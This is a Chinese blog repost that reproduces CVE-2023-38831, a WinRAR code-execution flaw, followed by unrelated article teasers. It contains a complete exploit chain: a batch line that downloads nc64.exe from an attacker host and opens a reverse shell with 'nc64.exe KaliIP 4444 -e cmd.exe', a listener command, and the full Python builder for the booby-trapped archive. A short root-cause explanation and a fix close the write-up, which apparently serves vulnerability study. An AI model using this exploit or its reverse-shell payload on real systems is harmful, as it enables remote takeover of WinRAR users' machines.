CVE漏洞复现-CVE-2023-38831 WinRAR代码执行漏洞

news2024/12/22 8:31:17

CVE-2023-38831 WinRAR代码执行漏洞

WinRAR介绍

WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在 Windows环境下的图形界面。
该软件可用于备份数据,缩减电子邮件附件的大小,解压缩从 Internet 上下载的RAR、ZIP及其它类型文件,并且可以新建 RAR 及 ZIP 格式等的压缩类文件。

从5.60版开始,WinRAR启用了新的图标,但用户仍可以通过官网提供的主题包换回原版风格的图标。

漏洞概况

WinRAR是一款文件压缩器,该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。

RARLabs WinRAR 6.23之前版本存在安全漏洞,攻击者利用该漏洞可以执行任意代码。

漏洞影响

  • WinRAR < 6.23
  • 影响级别:千万级

漏洞复现

首先我们启动一个Kali虚拟机,将nc64.exe上传到虚拟机中相应的目录下,然后执行以下的代码,启动HTTP服务监听,让受害者的机器可以下载该程序

python -m http.server

在这里插入图片描述

然后我们在Kali机器上再打开一个新的终端,然后执行以下的代码启动端口监听

nc -lnvp 4444

在这里插入图片描述

接下来我们来制作POC文件,我们也可以直接用现成的利用脚本CVE-2023-38831-winrar-exploit,或者这里我为大家提供了漏洞环境,大家可以直接下载(二选一)现成的漏洞和利用环境

首先我们在受害者的机器上制作一个script.bat执行文件,文件内容如下:

curl http://KaliIP:8000/nc64.exe -O nc64.exe & nc64.exe KaliIP 4444 -e cmd.exe -d & test.png

然后我们需要在受害者的机器上准备一个make.py的文件,代码内容如下:

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "poc.zip"

BAIT_NAME = "test.png"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\make.py poc
          python .\make.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)

print("ok..")

然后我们在准备一张名为test.png的图片,将这三样文件置于同一目录下

在这里插入图片描述

然后在该目录下,打开终端执行以下的命令生成名为poc.zip的利用文件

python .\make.py test.png script.bat poc.zip

在这里插入图片描述

接下来,我们需要用WinRAR(<=6.22)存在漏洞的软件中打开POC文件,双击普通文件,漏洞触发(运行script.bat内容、下载nc64.exe、建立反弹连接)

在这里插入图片描述

进入WinRAR软件后,我们可以通过帮助选项查看当前的RAR软件版本,可以看到我们当前的软件版本是 6.22,是存在漏洞的版本

在这里插入图片描述

接下来,我们只需要去双击test.png文件打开它

在这里插入图片描述

然后我们就会发现启动了一个终端窗口

在这里插入图片描述

同时我们的Kali机器也收到了受害者机器的Shell终端

在这里插入图片描述

漏洞原理

当受害者尝试打开存档文件中的"test.png "时,WinRAR会比较存档中的所有文件以查找与"test.png "同名的文件/目录,如果存在与"test.png "同名的目录,WinRAR则会继续检查"test.png /"目录下的文件,如果"test.png /"目录下同样存在文件名为"test.png "的文件则将"test.png /"目录下"test.png "文件放入提取列表中,最终导致压缩包中的test.png .cmd被解压出来,并且
运行。

关于漏洞原理的详细部分可以看这篇文章CVE-2023-38831 WinRAR 逻辑漏洞原因分析

漏洞修复

将WinRAR软件版本更新至最新版本即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1139543.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

装了固态硬盘Win10开机很慢的解决方法

在Win10电脑中&#xff0c;用户反映自己装了固态硬盘后&#xff0c;电脑开机变得很慢&#xff0c;想知道解决此问题的方法。接下来小编给大家详细介绍关于解决装了固态硬盘Win10电脑开机很慢的问题&#xff0c;解决后Win10电脑开机速度就能变得更快。 装了固态硬盘Win10开机很慢…

【速看】如何通过合理的封装,让你的自动化脚本更上一层楼!

1. 前言 上一篇推文利用一个在图片范围内实现随机坐标点击的例子&#xff0c;去教会大家如何将自己想要的效果实现出来&#xff0c;受到大家的热情反响&#xff0c;在我们官方讨论群中&#xff0c;还有大佬对我们的示例代码进行优化改进&#xff0c;做了很多合理的函数封装&…

B链圆桌派 — 创新的去中心化存储网络 BNB GREENFIELD 主网上线

B链圆桌派 主題: BNB GREENFIELD主网上线 - 创新的去中心化资料储存网路 日期: 10/19, 8 pm utc8 頻道&#xff1a; BNB Chain 华语电报群 ○ AMA环节 ○ BNB GREENFIELD主网上线 一、回复主持人问题 嘉宾回答主持人提出的问题。本环节请大家保持安静&#xff0c;专注嘉宾…

Flink CDC 2.0 主要是借鉴 DBLog 算法

DBLog 算法原理 DBLog 这个算法的原理分成两个部分&#xff0c;第一部分是分 chunk&#xff0c;第二部分是读 chunk。分 chunk 就是把一张表分为多个 chunk&#xff08;桶/片&#xff09;。我可以把这些 chunk 分发给不同的并发的 task 去做。例如&#xff1a;有 reader1 和 re…

Windows详细安装和彻底删除RabbitMQ图文流程

RabbiitMQ简介 RabbitMQ是实现了高级消息队列协议&#xff08;AMQP&#xff1a;Advanced Message Queue Protocol&#xff09;的开源消息代理软件&#xff08;亦称面向消息的中间件&#xff09;。RabbitMQ服务器是用Erlang语言编写的&#xff0c;而聚类和故障转移是构建在开放…

Redis -- 基础知识3 数据类型及指令

FLUSHALL:清空所有键值对操作(最好别搞,删库要被绳之以法的) 1.string类型 1.介绍 1.redis的字符串,直接按照二进制进行存储,所以可以存储任何数据,取出时不需要转码 2.redis的string类型,限制大小最大为512M,因为为单线程模型为了操作短平快 2.操作 1.set与get set key value …

财务数字化转型是什么?_光点科技

财务数字化转型是当今企业发展中的一项关键策略&#xff0c;旨在借助先进的数字技术&#xff0c;重新塑造和优化财务管理体系&#xff0c;以适应迅速变化的商业环境。这一转型不仅仅是技术的升级&#xff0c;更是对企业财务理念和流程的全面升级和改革。 财务数字化转型的核心在…

【Java】Java开发环境搭建

Java开发环境搭建 文章目录 Java开发环境搭建1. Java开发环境搭建1.1 什么是JDK、JRE1.2 JDK的下载1.3 JDK的安装1.4 配置path环境变量1.4.1 理解path环境变量1.4.2 JDK8配置&#xff1a;配置JAVA_HOMEpath1.4.3 JDK17配置方案&#xff1a;自动配置 1. Java开发环境搭建 1.1 什…

掌握CSS Flexbox,打造完美响应式布局,适配各种设备!

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 &#x1f4dd; 个人网站 :《 江城开朗的豌豆&#x1fadb; 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! ​ 目录 ⭐ 专栏简介 &#x1f4d8; 文章引言 基…

磁盘监控:告警时发送邮件

1.配置邮箱 1.编辑邮箱配置文件 vim /etc/mail.rc2.在末尾输入自己的邮箱配置&#xff0c;以163邮箱为例 #开启ssl set ssl-verifyignore #证书目录&#xff0c;下方为centos系统证书默认位置&#xff0c;也自行生成证书并指定 set nss-config-dir/etc/pki/nssdb # 配置的第…

Windows 11 如何同步文件到OneDrive ?

Windows 11 中的 OneDrive OneDrive 默认内置于 Windows 11系统中。Windows 11从设置中删除了原来的两种备份方法并添加了OneDrive。更重要的是&#xff0c;微软在设置中添加了OneDrive Sync&#xff0c;以取代设置中的备份功能。 您可以使用 OneDrive 在计算机和云之间同步文…

【Leetcode】200. 岛屿数量

给你一个由 1&#xff08;陆地&#xff09;和 0&#xff08;水&#xff09;组成的的二维网格&#xff0c;请你计算网格中岛屿的数量。 岛屿总是被水包围&#xff0c;并且每座岛屿只能由水平方向和/或竖直方向上相邻的陆地连接形成。 此外&#xff0c;你可以假设该网格的四条边…

【信创】 银河麒麟 软件目录及 常见问题汇总(持续更新)

1. 官方问题列举常见问题 常见问题国产操作系统、银河麒麟、中标麒麟、开放麒麟、星光麒麟——麒麟软件官方网站 2. 官方资源池目录 Index of /kylin/KYLIN-ALL/pool/ 如 gcc 的安装依赖 deb包目录&#xff1a; 3. 麒麟系统各版本 软件源使用方法

70 搜索插入位置

搜索插入位置 题解1 二分查找防越界写法 题解2 STL大法两行 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c; 并返回其索引。如果目标值不存在于数组中&#xff0c; 返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O ( l o g n ) O(log n…

学习paddle-detection(paddlex的使用)

首先下载paddlex&#xff08;网页&#xff09;的本地软件&#xff0c;下载链接如下&#xff1a; paddlex 下载完成后进行安装 打开后选择开发者模式&#xff0c;开发者模式主要是和VScode进行集成 本章节主要介绍在开发者模式下可以查看和编辑的文件及其作用&#xff0c;关于…

Vuex插件的安装与使用原理

Vuex插件的安装与使用原理 Vuex安装和环境搭建 安装Vuex 第一步&#xff1a;打开CMD窗口&#xff0c;通过命令转到Vue的安装路径第二步&#xff1a;输入安装Vuex的命令 vue2 安装 Vuex3 版本&#xff1a;npm i vuex3vue3 安装 Vuex4 版本&#xff1a;npm i vuex4 当在CMD窗口…

pycharm运行R语言脚本(环境安装)

文章目录 简介1. pycharm安装插件2. 安装R语言解释器2.1下载安装包2.2具体安装过程 3.编辑环境变量4.pycharm中配置安装好的R语言解释器 简介 pycharm 安装 R language for Intellij R language for Intellij 是一个插件&#xff0c;它为Intellij IDEA集成开发环境添加了对R语…

Bootstrap 中CSS媒体查询分辨率 @media(min-width)

媒体查询是非常别致的"有条件的 CSS 规则"。它只适用于一些基于某些规定条件的 CSS。如果满足那些条件&#xff0c;则应用相应的样式。 Bootstrap 中的媒体查询允许您基于视口大小移动、显示并隐藏内容。下面的媒体查询在 LESS 文件中使用&#xff0c;用来创建 Boot…

Chat2DB下载、以及AI功能使用

&#x1f4d6; 简介 Chat2DB 是一款有开源免费的多数据库客户端工具&#xff0c;支持 windows、mac 本地安装&#xff0c;也支持服务器端部署&#xff0c;web 网页访问。和传统的数据库客户端软件 Navicat、DBeaver 相比 Chat2DB 集成了 AIGC 的能力&#xff0c;能够将自然语言…

在线客服系统源码H5网页版 带完整搭建教程

今天源码小编来给大家介绍一个新源码系统在线客服系统源码H5网页版。与传统客服系统相比&#xff0c;在线客服系统源码H5网页版具有更高的灵活性和可扩展性&#xff0c;同时能够更好地支持移动端访问。 H5网页版在线客服系统源码采用前端与后端分离的技术架构&#xff0c;前端…